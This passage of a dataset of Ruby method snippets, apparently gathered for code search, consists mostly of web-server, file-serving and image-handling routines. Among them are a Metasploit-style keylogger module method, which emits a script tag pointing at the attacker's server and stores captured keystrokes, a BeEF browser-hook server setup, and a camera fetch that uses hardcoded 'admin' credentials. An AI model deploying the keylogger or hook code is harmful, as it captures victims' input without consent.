shown. Currently, they break since larger versions do not exist.\n end\n\n default_image = File.open(\"app/assets/images/site/missing2.png\", 'rb') do |f|\n f.read\n end\n filename = \"missing2.png\"\n resp = ''\n\n if can?(:read, multiresimage)\n\n Net::HTTP.start(DIL_CONFIG['dil_fedora_base_ip'], DIL_CONFIG['dil_fedora_port']) { |http|\n resp = http.get(\"#{DIL_CONFIG['dil_fedora_url']}#{params[:id]}#{DIL_CONFIG['dil_fedora_disseminator']}#{img_length}\")\n #open(\"/usr/local/proxy_images/#{params[:id]}.jpg\" ,\"wb\") { |new_file|\n #new_file.write(resp.body)\n #send_file(new_file, :type => \"image/jpeg\", :disposition=>\"inline\")\n #send data uses server memory instead of storage.\n if(resp.body.include? \"error\")\n image = default_image\n else\n image = resp.body\n filename = \"#{params[:id]}.jpg\"\n end\n send_data(image, :disposition=>'inline', :type=>'image/jpeg', :filename=>filename)\n }\n #}\n else\n send_data(default_image, :disposition=>'inline', :type=>'image/jpeg', :filename=>filename)\n end\n end", "def start\n FCGI.each do |req|\n dir, app = nil\n begin\n root, path = \"/\"\n if ENV['FORCE_ROOT'] and ENV['FORCE_ROOT'].to_i == 1\n path = req.env['REQUEST_URI']\n else\n root = req.env['SCRIPT_NAME']\n path = req.env['PATH_INFO']\n end\n\n dir, app = @mounts.max { |a,b| match(path, a[0]) <=> match(path, b[0]) }\n unless dir and app\n dir, app = '/', Camping\n end\n yield dir, app if block_given?\n\n req.env['SERVER_SCRIPT_NAME'] = req.env['SCRIPT_NAME']\n req.env['SERVER_PATH_INFO'] = req.env['PATH_INFO']\n req.env['SCRIPT_NAME'] = File.join(root, dir)\n req.env['PATH_INFO'] = path.gsub(/^#{dir}/, '')\n\n controller = app.run(req.in, req.env)\n sendfile = nil\n headers = {}\n controller.headers.each do |k, v|\n if k =~ /^X-SENDFILE$/i and !ENV['SERVER_X_SENDFILE']\n sendfile = v\n else\n headers[k] = v\n end\n end\n\n body = controller.body\n controller.body = \"\"\n controller.headers = headers\n\n req.out << controller.to_s\n if sendfile\n File.open(sendfile, \"rb\") do |f|\n while chunk = f.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n end\n elsif body.respond_to? :read\n while chunk = body.read(CHUNK_SIZE) and chunk.length > 0\n req.out << chunk\n end\n body.close if body.respond_to? :close\n else\n req.out << body.to_s\n end\n rescue Exception => e\n req.out << \"Content-Type: text/html\\r\\n\\r\\n\" +\n \"<h1>Camping Problem!</h1>\" +\n \"<h2><strong>#{root}</strong>#{path}</h2>\" + \n \"<h3>#{e.class} #{esc e.message}</h3>\" +\n \"<ul>\" + e.backtrace.map { |bt| \"<li>#{esc bt}</li>\" }.join + \"</ul>\" +\n \"<hr /><p>#{req.env.inspect}</p>\"\n ensure\n req.finish\n end\n end\n end", "def main\n #basePath = \"d:\\\\web\"\n basePath = ENV['PWD'] + '/test/functional/tmp/repo'\n #server = TCPServer.new('XXX.XXX.XXX.XXX', 9090)\n server = TCPServer.new('127.0.0.1', 9090)\n #logfile = basePath + \"\\\\log.txt\"\n logfile = basePath + \"/log.txt\"\n $log = File.open(logfile, \"w+\")\n\n puts \"basePath = #{basePath}\"\n puts \"logfile = #{logfile}\"\n\n loop do\n session = server.accept\n request = session.gets\n logStr = \"#{session.peeraddr[2]} (#{session.peeraddr[3]})\\n\"\n logStr += Time.now.localtime.strftime(\"%Y/%m/%d %H:%M:%S\")\n logStr += \"\\n#{request}\"\n logger(logStr)\n \n Thread.start(session, request) do |session, request|\n HttpServer.new(session, request, basePath).serve()\n end\n\n end\n log.close\nend", "def start\n #Start the appserver.\n print \"Spawning appserver.\\n\" if @debug\n @httpserv = Knjappserver::Httpserver.new(self)\n \n \n #Start Leakproxy-module if defined in config.\n if @config[:leakproxy]\n require \"#{File.dirname(__FILE__)}/class_knjappserver_leakproxy_server.rb\"\n @leakproxy_server = Knjappserver::Leakproxy_server.new(:kas => self)\n end\n \n \n STDOUT.print \"Starting appserver.\\n\" if @debug\n Thread.current[:knjappserver] = {:kas => self} if !Thread.current[:knjappserver]\n \n if @config[:autoload]\n STDOUT.print \"Autoloading #{@config[:autoload]}\\n\" if @debug\n require @config[:autoload]\n end\n \n begin\n @threadpool.start if @threadpool\n STDOUT.print \"Threadpool startet.\\n\" if @debug\n @httpserv.start\n STDOUT.print \"Appserver startet.\\n\" if @debug\n rescue Interrupt => e\n STDOUT.print \"Got interrupt - trying to stop appserver.\\n\" if @debug\n self.stop\n raise e\n end\n end", "def start\n config = { :Port => @port }\n @server = WEBrick::HTTPServer.new(config)\n @server.mount(\"/\", SimplerDB::RESTServlet)\n \n ['INT', 'TERM'].each do |signal| \n trap(signal) { @server.shutdown }\n end\n \n @server.start\n end", "def run\n\t\t# Empezamos a escuchar al servidor\n\t\tlisten\n\t\t# Empezamos a enviar al servidor\n\t\tsend\n\t\t# Revisamos el estado de la conexion\n\t\t# check_alvie\n\t\t# Al terminar cerramos los Threads\n\t\t@request.join if @request.alive?\n\t\t@response.join if @response.alive?\n\tend", "def prepare\n if not @http_server\n config = {}\n config[:BindAddress] = @configuration.get('beef.http.host')\n config[:Port] = @configuration.get('beef.http.port')\n config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)\n config[:ServerName] = \"BeEF \" + VERSION\n config[:ServerSoftware] = \"BeEF \" + VERSION\n \n @http_server = WEBrick::HTTPServer.new(config)\n \n # Create http handler for the javascript hook file\n mount(\"#{@configuration.get(\"beef.http.hook_file\")}\", true, BeEF::Core::Handlers::HookedBrowsers)\n \n # Create http handlers for all commands in the framework\n BeEF::Modules.get_loaded.each { |k,v|\n mount(\"/command/#{k}.js\", false, BeEF::Core::Handlers::Commands, k)\n }\n \n #\n # We dynamically get the list of all http handler using the API and register them\n #\n BeEF::API.fire(BeEF::API::Server::Handler, 'mount_handlers', self)\n end\n end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def server; end", "def capture\n for i in 0..49\n\t open(\"tempImages/image#{i}.png\", 'wb') do |file|\n\t file << open('http://hq.cirrusmio.com:82/media/?action=snapshot', http_basic_authentication: [\"admin\", \"admin\"]).read\n\t sleep(0.2)\n\tend\n end\n end", "def send_image\n @iiif_url ||= iiif_url\n Rails.logger.info(\"Trying to proxy image from #{@iiif_url}\")\n response.set_header('Access-Control-Allow-Origin', '*')\n stream_response(response)\n end", "def start_server(port)\n root = Dir.getwd\n server = WEBrick::HTTPServer.new :Port => port, :DocumentRoot => root\n trap 'INT' do server.shutdown end\n server.start\n end", "def start(port=nil)\n if port == nil\n port = $*.first()\n end\n @httpServer.start(port) { |client|\n\n # Remove the first slash and split the url by slash\n urls = client.url[1..-1].split('/')\n\n # Extract url data and defaults (the default should be configurable?)\n # Remember that its case-sensitive\n packageName = urls[0] || 'index'\n controllerName = urls[1] || 'Index'\n methodName = urls[2] || 'index'\n # The remaining url data were the arguments\n args = urls[3..-1]\n\n begin\n # Remember that the filename is all lowercase, while class name are WordCase\n unless File.exists?(\"#{$root}framework/xmvc/controllers/#{packageName.downcase()}/#{controllerName.downcase()}.rb\")\n # This should be configurable?\n client.writeHead(404, {'Content-type' => 'text/html'})\n client.write('Not Found')\n client.end()\n else\n # Require controller definition (all file/folder must be in lowercase)\n require(\"#{$root}framework/xmvc/controllers/#{packageName.downcase()}/#{controllerName.downcase()}.rb\")\n # Titania url is case sensitive\n ctrl = eval(\"#{controllerName}.new()\")\n method = ctrl.method(methodName)\n method.call(client, args)\n end\n ensure\n puts $!\n end\n }\n end", "def run\n logger.info 'starting autobuild (Ctrl-C to stop)'\n\n Signal.trap('INT') {\n puts \"Autobuild is stopping, please wait...\"\n\n exit # some reason watchr is blocking...\n @watcher.stop\n @web_server.stop if @web_server\n }\n\n @watcher.start\n if @web_server\n @web_server.start\n sleep 0.25\n end\n # We may have a local server we didn't spin up\n launch_program = ::Webby.site.autobuild_launch_program\n if launch_program \n `#{launch_program} #{@launchy}`\n else\n Launchy.open(@launchy) if @launchy\n end\n\n @watcher.join\n @web_server.join if @web_server\n end", "def start(dir, port = URI::HTTP::DEFAULT_PORT)\n return if @status == :running\n\n fail \"Cannot access #{dir} dir\" unless File.directory?(dir)\n\n @dir = dir\n @port = port\n @handlers = ThreadGroup.new\n\n Logger.log 'Starting HTTP server...'\n Logger.log \"Serving #{@dir.yellow} on port #{@port.to_s.green}\"\n\n @status = :running\n\n @loop_thread = Thread.new do\n Socket.tcp_server_loop(@port) do |socket, client_addrinfo|\n handle socket, client_addrinfo\n end\n end\n\n @loop_thread.join\n end", "def run\n make_request(@path)\n end", "def start_server\n loop do\n socket = @server.accept\n @pool.post do\n request = socket.gets\n unless request.nil?\n response = fetch_data(request)\n socket.print build_response(response)\n socket.print \"\\r\\n\"\n socket.print response[:message]\n end\n socket.close\n end\n end\n end", "def start\n\t\tself.log.debug \"Starting.\"\n\t\tself.spawn_server\n\t\tself.read_hello\n\tend", "def run\n @crawler = Crawler.new(@src)\n \n @site = Site.new(@src, @dst)\n \n find_render_sequences\n \n @site.clean_target(@force)\n @site.render\n @site.copy_static(@crawler.static)\n\n end", "def start\n loop do\n run\n end\n end", "def index\n\n per_page = 10\n \n # Total number of images\n @total_num_of_images = Image.all.length\n \n @server_info = request.host_with_port\n \n # Params => Search\n @images = _index_1_search_text(per_page)\n \n @contentArray = _index_get_log()\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def start\n main_loop\n end", "def start_webrick(config = {})\n config.update(:Port => 8080) \n server = HTTPServer.new(config)\n yield server if block_given?\n ['INT', 'TERM'].each {|signal| \n trap(signal) {server.shutdown}\n }\n server.start\n\nend", "def run\n\t\tstart_log\n\t\tuse_ssl?\n\t\t@ascii_log = \"\"\n\t\t@random_text = Rex::Text.rand_text_alpha(12)\n\t\tscript_source = \"#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/js#{@random_text}.js\"\n\n\t\t# Prints Demo Page\n\t\tif datastore['DEMO']\n\t\t\tprint_status(\"Demonstration Form URL => %grn#{@http_mode}#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/metasploit%clr\")\n\t\tend\n\n\t\t# Prints HTML Embed Code\n\t\tprint_status(\"Keylogger <HTML> Code => %blu<script type=\\\"text/javascript\\\" src=\\\"#{script_source}\\\"></script>%clr\")\n\t\tprint_status(\"Starting keylogger. Please press [CTRl]+[C] if you wish to terminate.\")\n\n\t\t# Starts Web Server\n\t\tbegin\n\t\t\texploit\n\t\trescue Interrupt\n\t\t\tpath = store_loot(\"javascript.keystrokes\", \"text/plain\", @host, @loot)\n\t\t\tprint_status(\"Stored loot at #{path}\")\n\t\tend\n\tend", "def start\n configure\n run\n end", "def start\n raise ArgumentError, 'app required' unless @app\n\n log \">> Aspen web server (#{::Aspen::SERVER})\"\n debug \">> Debugging ON\"\n trace \">> Tracing ON\"\n\n log \">> Listening on #{@host}:#{@port}, CTRL+C to stop\"\n\n @backend.start\n end", "def start\n UI.info \"Starting up WEBrick...\"\n if running?\n UI.error \"Another instance of WEBrick::HTTPServer is running.\"\n false\n else\n @pid = Spoon.spawnp('ruby',\n File.expand_path(File.join(File.dirname(__FILE__), %w{webrick server.rb})),\n @options[:host],\n @options[:port].to_s,\n @options[:ssl].to_s,\n @options[:docroot]\n )\n wait_for_port\n if @options[:launchy]\n scheme = options[:ssl] ? \"https\" : \"http\"\n Launchy.open(\"#{scheme}://#{@options[:host]}:#{@options[:port]}\")\n @options[:launchy] = false # only run once\n end\n @pid\n end\n end", "def start *args\n return unless iterm?\n\n init\n\n unless @error_message\n _file = set_file @config.running_file, @config.running_url, @running_tmp\n _file ||= ''\n change_background _file\n end\n rescue => e\n @error_message = e.inspect\n end", "def serve_https\n @server = Support::HTTP::Server.new\n @server.run\n end", "def figure_1 \n #file_path = File.join(Rails.root, \"public/images\", \"\")\n send_file(File.join(FILE_PATH, \"LgrNucDist.jpg\"), :type => 'image/png', :disposition => 'inline')\n end", "def run\n connect = false\n until connect do\n begin\n call { |server| @server = server ; start }\n rescue\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end", "def run\n logger.debug('WORK HORSE PROCESS JOB STARTED.')\n download_remotefiles\n unzip_files\n parse_photo_request_reponse_xml\n update_products\n zip_xml_files\n upload_zip_files\n import_response\n logger.debug('JOB FINISHED.')\n end", "def run_server_thread; end", "def start\n if @options[:\"disable-watcher\"]\n bootup\n else\n @server_job = fork {\n Signal.trap(::Middleman::WINDOWS ? :KILL : :TERM) { exit! }\n bootup\n }\n end\n end", "def render_main\n @total_memory = `ps -o rss= -p #{Process.pid}`.to_i\n @last_tick_times = [-1] if @last_tick_times.size == 0\n [ 200, {'Content-Type' => 'text/html'}, [render_main_body {\n \n }] ]\n end", "def server(port = 9319)\r\n puts \"- Starting server on port: #{port}\"\r\n\r\n $servers[port] = WEBrick::HTTPServer.new(:Port => port) if $servers[port].nil?\r\n server = $servers[port]\r\n $mounts.keys.each{|url|\r\n server.unmount(url)\r\n server.mount(url, $mounts[url][0], *$mounts[url][1])\r\n }\r\n $mounts.clear\r\n\r\n Thread.new { server.start unless server.status == :Running }\r\nend", "def default_routes!\n # images resources\n get \"/__sinatra__/:image.png\" do\n filename = File.dirname(__FILE__) + \"/images/#{params[:image]}.png\"\n send_file filename\n end\n end", "def run_server\n EM.synchrony do\n @app = Rack::Builder.new do\n use Rack::Lint\n use Rack::ShowExceptions\n run Rack::Cascade.new([Souffle::Http])\n end.to_app\n\n Rack::Handler.get(:thin).run(@app, rack_options)\n end\n end", "def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create tiny thumbnail\n #\n #image = MiniMagick::Image.open(file_path)\n\n #ImageUtilities.reduce_to_with_image(\n # image,\n # {:width => 180,:height => 180})\n\n #FileSystem.store(\n # thumbnail_path,\n # open(image.path),\n # \"Content-Type\" => \"image/jpeg\",\n # \"Expires\" => 1.year.from_now.\n # strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create square thumbnail\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:white_200x200]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.gravity \"Center\"\n canvas.geometry \"200x200+0+0\"\n end\n\n FileSystem.store(\n square_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create blurred thumbnail\n #\n image = MiniMagick::Image.open(base.path)\n\n image.combine_options do |canvas|\n canvas.blur \"2.5x2.5\"\n end\n\n FileSystem.store(\n blur_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create giant thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 520,:height => 390})\n\n FileSystem.store(\n giant_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n\n # Create unit.\n #\n base = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_base]))\n overlay = MiniMagick::Image.open(File.join(\n RAILS_ROOT,\n IMAGES[:fb_unit_overlay]))\n image = MiniMagick::Image.open(file_path)\n\n base = base.composite(image) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"Center\"\n canvas.geometry \"407x407+0+0\"\n end\n\n base = base.composite(overlay) do |canvas|\n canvas.quality \"100\"\n canvas.gravity \"NorthWest\"\n canvas.geometry \"54x54+447+19\"\n end\n\n FileSystem.store(\n unit_path,\n open(base.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end", "def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end", "def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end", "def start\n return if @thread\n @thread = Thread.new do\n loop do\n sleep\n load_files\n end\n end\n end", "def serve(path)\n find_file(path).serve\n end", "def start\n if running?\n stop\n else\n File.unlink(\"#{@server_root}/httpd.pid\") rescue nil\n end\n\n if @codesigning_identity\n system \"codesign\", \"-s\", @codesigning_identity, \"--keychain\", File.expand_path(\"~/Library/Keychains/login.keychain-db\"), @mod_passenger\n end\n\n if File.exist?(@server_root)\n FileUtils.rm_r(@server_root)\n end\n FileUtils.mkdir_p(@server_root)\n write_config_file\n FileUtils.cp(\"#{STUB_DIR}/mime.types\", @server_root)\n\n command = [PlatformInfo.httpd, \"-f\", \"#{@server_root}/httpd.conf\", \"-k\", \"start\"]\n if boolean_option('VALGRIND')\n command = ['valgrind', '--dsymutil=yes', '--vgdb=yes',\n '--vgdb-error=1', '--trace-children=no'] + command\n end\n\n if !system(*command)\n raise \"Could not start an Apache server.\"\n end\n\n begin\n # Wait until the PID file has been created.\n Timeout::timeout(20) do\n while !File.exist?(\"#{@server_root}/httpd.pid\")\n sleep(0.1)\n end\n end\n # Wait until Apache is listening on the server port.\n Timeout::timeout(7) do\n done = false\n while !done\n begin\n socket = TCPSocket.new('localhost', @port)\n socket.close\n done = true\n rescue Errno::ECONNREFUSED\n sleep(0.1)\n end\n end\n end\n rescue Timeout::Error\n raise \"Could not start an Apache server.\"\n end\n Dir[\"#{@server_root}/*\"].each do |filename|\n if File.file?(filename)\n File.chmod(0666, filename)\n end\n end\n end", "def handle_kickstart(options)\n\n case definition.kickstart_file\n when Array then kickstartfiles = definition.kickstart_file\n when String then kickstartfiles = definition.kickstart_file.split\n when nil then kickstartfiles = []\n else raise \"Do not know how to handle kickstart_file: #{kickstart_file.inspect}\"\n end\n\n if kickstartfiles.empty?\n env.ui.info \"Skipping webserver as no kickstartfile was specified\"\n else\n env.ui.info \"Starting a webserver #{host_ip_as_seen_by_guest}:#{definition.kickstart_port}, check your firewall if nothing happens\\n\"\n timeouts = Array(definition.kickstart_timeout).map(&:to_i)\n end\n\n # For each kickstart file spinup a webserver and wait for the file to be fetched\n kickstartfiles.each_with_index do |kickfile, index|\n wait_for_http_request(\n File.join(definition.path, kickfile),\n kickfile.start_with?('/') ? kickfile : '/' + kickfile,\n {\n :port => definition.kickstart_port,\n :timeout => timeouts.fetch(index, timeouts.last), # get the matching kickfile timeout or the last defined\n }\n )\n end\n end", "def serve!\n if TinyProxy::Cache.has? request.uri\n serve_from_cache!\n else\n serve_from_remote!\n end\n end", "def newFromSource\n\n @kite = Kite.new\n @images = []\n @isAutoAdd = true\n\n if uri_is_valid?(params[:path])\n site = URI.parse(URI.encode(params[:path]))\n\n #grab the reference page passed in as parameter\n doc = Nokogiri::HTML(open(site))\n\n #find all of the images\n doc.css('img').each do |image|\n #debugger\n path = image.attribute('src').value\n\n if path[0..0] == '/'\n path = URI.join(site, path).to_s\n end\n begin\n dimensions = FastImage.size(path, :timeout => 10.0)\n rescue => ex\n logger.error(\"Failed to retrieve image dimensions for image: #{ex}\")\n end\n if(!dimensions.nil? && dimensions.length > 1 && dimensions[0] > IMAGE_SQUARE_DIMENSION_LIMIT && dimensions[1] > IMAGE_SQUARE_DIMENSION_LIMIT )\n img = {:path => path,\n :source => doc.title,\n :alttext => image.attribute('alt').nil? ? \"\" : image.attribute('alt').value\n }\n\n @images << img\n else\n logger.debug \"The image #{path} was rejected as under size limit\"\n end\n end\n else\n logger.error \"The image was rejected as invalid path #{path}\"\n end\n @site = site\n if @images.count > 0\n @images[0][:first] = true\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kite }\n end\n end", "def public_file_server; end", "def public_file_server; end", "def build_web_page(info_hash, id_hash, id_date, id_status)\n image_counter = info_hash.length\n \n File.open('rovers_index.html', 'w') do |file|\n file.puts \"<html>\\n<head>\\n<title>Rovers Nasa!</title>\\n</head>\"\n file.puts \"<body>\\n<section class='container'>\"\n file.puts \"<h1> FOTOGRAFIAS DE LOS ROVERS DE LA NASA CON SUS CARACTERISTICAS</h1>\"\n file.puts\"<ul>\"\n image_counter.times do |i| \n file.puts \"\\t<img src='#{info_hash[i]}'width='250'>\"\n file.puts \"\\n<li><p> ID is: #{id_hash[i]}</p></li>\"\n file.puts \"<li><p>Date in Earth: #{id_date[i]}</p></li>\"\n file.puts \"<li><p> Satelite Status: #{id_status[i]}</p></li>\"\n\n end\n file.puts \"</ul>\\n</section>\\n</body>\\n<html>\"\n end\n end", "def run_app\n http_config = config.http\n\n @server_thread = Thread.new do\n @server = Puma::Server.new(app)\n begin\n @server.add_tcp_listener(http_config.host, http_config.port.to_i)\n rescue Errno::EADDRINUSE, Errno::EACCES => e\n logger.fatal I18n.t(\n \"lita.http.exception\",\n message: e.message,\n backtrace: e.backtrace.join(\"\\n\")\n )\n abort\n end\n @server.min_threads = http_config.min_threads\n @server.max_threads = http_config.max_threads\n @server.run\n end\n\n @server_thread.abort_on_exception = true\n end", "def begin!\n start_server\n end", "def run\n prepare_process\n reporter.welcome_message\n exit(1) if print_config_errors\n\n # Set up our console input handling and history\n console = Console.new(config, reporter)\n\n # Start the server\n while console_run_loop(console)\n # just need to run the loop\n end\n\n console.store_history\n\n cleanup_process\n end", "def run\n\t\treq = Net::HTTP::Put.new(uri.path)\n\t\treq.body = query_string\n\t\tres = Net::HTTP.start(url.host, url.port) { |http|\n\t\t http.request(req)\n\t\t}\n\t\tres.body\n\tend", "def render_scene() \n create_workers(@subjobs.count) \n EM::run do\n BrB::Service.start_service(:object => self, :host => 'localhost', :port => 5555)\n end \n end", "def run\n logger.debug(\"WORK HORSE PROCESS JOB STARTED.\")\n downloadRemotefiles\n unzipFiles\n #parsePhotoRequestReponseXMl\n #updateProducts\n zipXMLFiles\n uploadZipFiles\n logger.debug(\"JOB FINISHED.\")\n end", "def start\n options = arguments\n\n if options[:url].nil? || options[:concurrent].nil? ||\n options[:requests].nil?\n puts @params\n exit\n end\n\n wreckit = Ralphttp::Wreckit.new(options)\n wreckit.blast\n wreckit.analyze\n end", "def demo_run_with_screenshots\n spectre = SpectreClient::Client.new('Nuffield', 'Templates', @url)\n puts \"Created Spectre run\"\n sleep(2)\n\n setup_poltergeist\n\n visit \"http://www.nuffieldhealth.com/\"\n sleep(2)\n screenshot_file = 'homepage.png'\n page.save_screenshot(screenshot_file)\n puts \"Saved screenshot #{screenshot_file}\"\n\n home_options = {\n name: 'Homepage',\n browser: 'Phantom',\n size: 1024,\n screenshot: File.new(screenshot_file, 'rb'),\n highlight_colour: '00ff00'\n }\n spectre.submit_test(home_options)\n\n puts \"Submitting #{screenshot_file}\"\n File.delete(screenshot_file)\n\n Capybara.reset_sessions!\n\n visit \"http://www.nuffieldhealth.com/gyms/\"\n sleep(2)\n screenshot_file = 'gyms.png'\n page.save_screenshot(screenshot_file)\n puts \"Saved screenshot #{screenshot_file}\"\n\n gym_options = {\n name: 'Gyms Division',\n browser: 'Phantom',\n size: 1024,\n screenshot: File.new(screenshot_file, 'rb')\n }\n spectre.submit_test(gym_options)\n puts \"Submitting #{screenshot_file}\"\n File.delete(screenshot_file)\n\n Capybara.reset_sessions!\n\n visit \"http://www.nuffieldhealth.com/about-us/\"\n sleep(2)\n screenshot_file = 'about_us.png'\n page.save_screenshot(screenshot_file)\n puts \"Saved screenshot #{screenshot_file}\"\n about_options = {\n name: 'Gyms Division',\n browser: 'Phantom',\n size: 1024,\n screenshot: File.new(screenshot_file, 'rb'),\n fuzz_level: '90%',\n highlight_colour: '00ff00'\n }\n spectre.submit_test(about_options)\n puts \"Submitting #{screenshot_file}\"\n File.delete(screenshot_file)\n\n puts \"End\"\n end", "def start\n \n\tend", "def serve_file(path)\n @response.body << read_file(path)\n @response.headers[\"Content-Type\"] = get_mime_type path\n @response.status = 200\n end", "def start(foreground = false)\n server_class = RailsInstaller::WebServer.servers[config['web-server']]\n if not server_class\n message \"** warning: web-server #{config['web-server']} unknown. Use 'web-server=external' to disable.\"\n end\n \n server_class.start(self,foreground)\n end", "def launch_web\n if !File.exist? 'build/app.html'\n puts \"No web app built!\"\n exit\n end\n open_cmd = 'open'\n case RUBY_PLATFORM\n when /linux/\n open_cmd = \"xdg-#{open_cmd}\"\n when /mingw/\n open_cmd = \"start\"\n end\n system \"#{open_cmd} build/app.html\"\nend", "def launch_web\n if !File.exists? 'build/app.html'\n puts \"No web app built!\"\n exit\n end\n open_cmd = 'open'\n case RUBY_PLATFORM\n when /linux/\n open_cmd = \"xdg-#{open_cmd}\"\n when /mingw/\n open_cmd = \"start\"\n end\n system \"#{open_cmd} build/app.html\"\nend", "def host\n self.image_path = Base64.encode64(\n SecureRandom.hex(10) + \n Time.now.to_i.to_s).chomp + \".jpg\"\n\n tempfile = Tempfile.new(image_path)\n file_path = tempfile.path\n\n system(\"wget --no-check-certificate \"\\\n \"-U '#{CONFIG[:user_agent]}' '#{orig_image_url}' \"\\\n \"-T 30 -t 3 \"\\\n \"--output-document '#{file_path}'\")\n\n\n if File.exists? file_path\n\n # Store original image\n #\n FileSystem.store(\n image_path,\n open(file_path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n # Create thumbnail\n #\n image = MiniMagick::Image.open(file_path)\n\n ImageUtilities.reduce_to_with_image(\n image,\n {:width => 180,:height => 180})\n\n FileSystem.store(\n thumbnail_path,\n open(image.path),\n \"Content-Type\" => \"image/jpeg\",\n \"Expires\" => 1.year.from_now.\n strftime(\"%a, %d %b %Y %H:%M:%S GMT\"))\n\n self.is_processed = true\n self.save!\n end\n\n rescue MiniMagick::Invalid => ex\n LoggedException.add(__FILE__,__method__,ex)\n end", "def call(env)\n status, headers, response = @app.call(env)\n\n # Only do something if:\n # this is an HTML request,\n # the request is for the wiki controller,\n # the status is 200.\n is_html = headers.fetch('Content-Type', '').include?('text/html')\n is_wiki = env['REQUEST_PATH'] =~ /^\\/wiki/\n if is_html && is_wiki && status == 200\n body = response.first\n\n doc = Nokogiri.HTML(body)\n main_div = doc.at_css('#main')\n\n # Create template div.\n template_div = Nokogiri::XML::Node.new('div', doc)\n template_div['id'] = 'template'\n\n # Inject template_div as wrapper inside main_div.\n # Transfer main_div's children to template_div.\n # Then reassign main_div's children to template_div,\n template_div.children = main_div.children\n main_div.children = Nokogiri::XML::NodeSet.new(doc, [template_div])\n\n # Construct new response with new body.\n body = doc.to_html.html_safe\n response = [body]\n headers['Content-Length'] = body.size.to_s\n end\n [status, headers, response]\n end", "def start\n\t\tend", "def browse url\n @@headless = Headless.new\n @@headless.start\n @@browser = Watir::Browser.start url\n end", "def call(env)\n (@web_server ||= WebServer.new).call(env)\n end", "def start\n backend.start\n end", "def start!\n verbose('Starting...')\n\n process_kaizen_archive(\n save_to_tempfile('https://codeload.github.com/Wixel/Kaizen/zip/master')\n )\n\n process_normalize_archive(\n save_to_tempfile('https://codeload.github.com/necolas/normalize.css/zip/master')\n )\n\n install_bourbon!\n end" ]
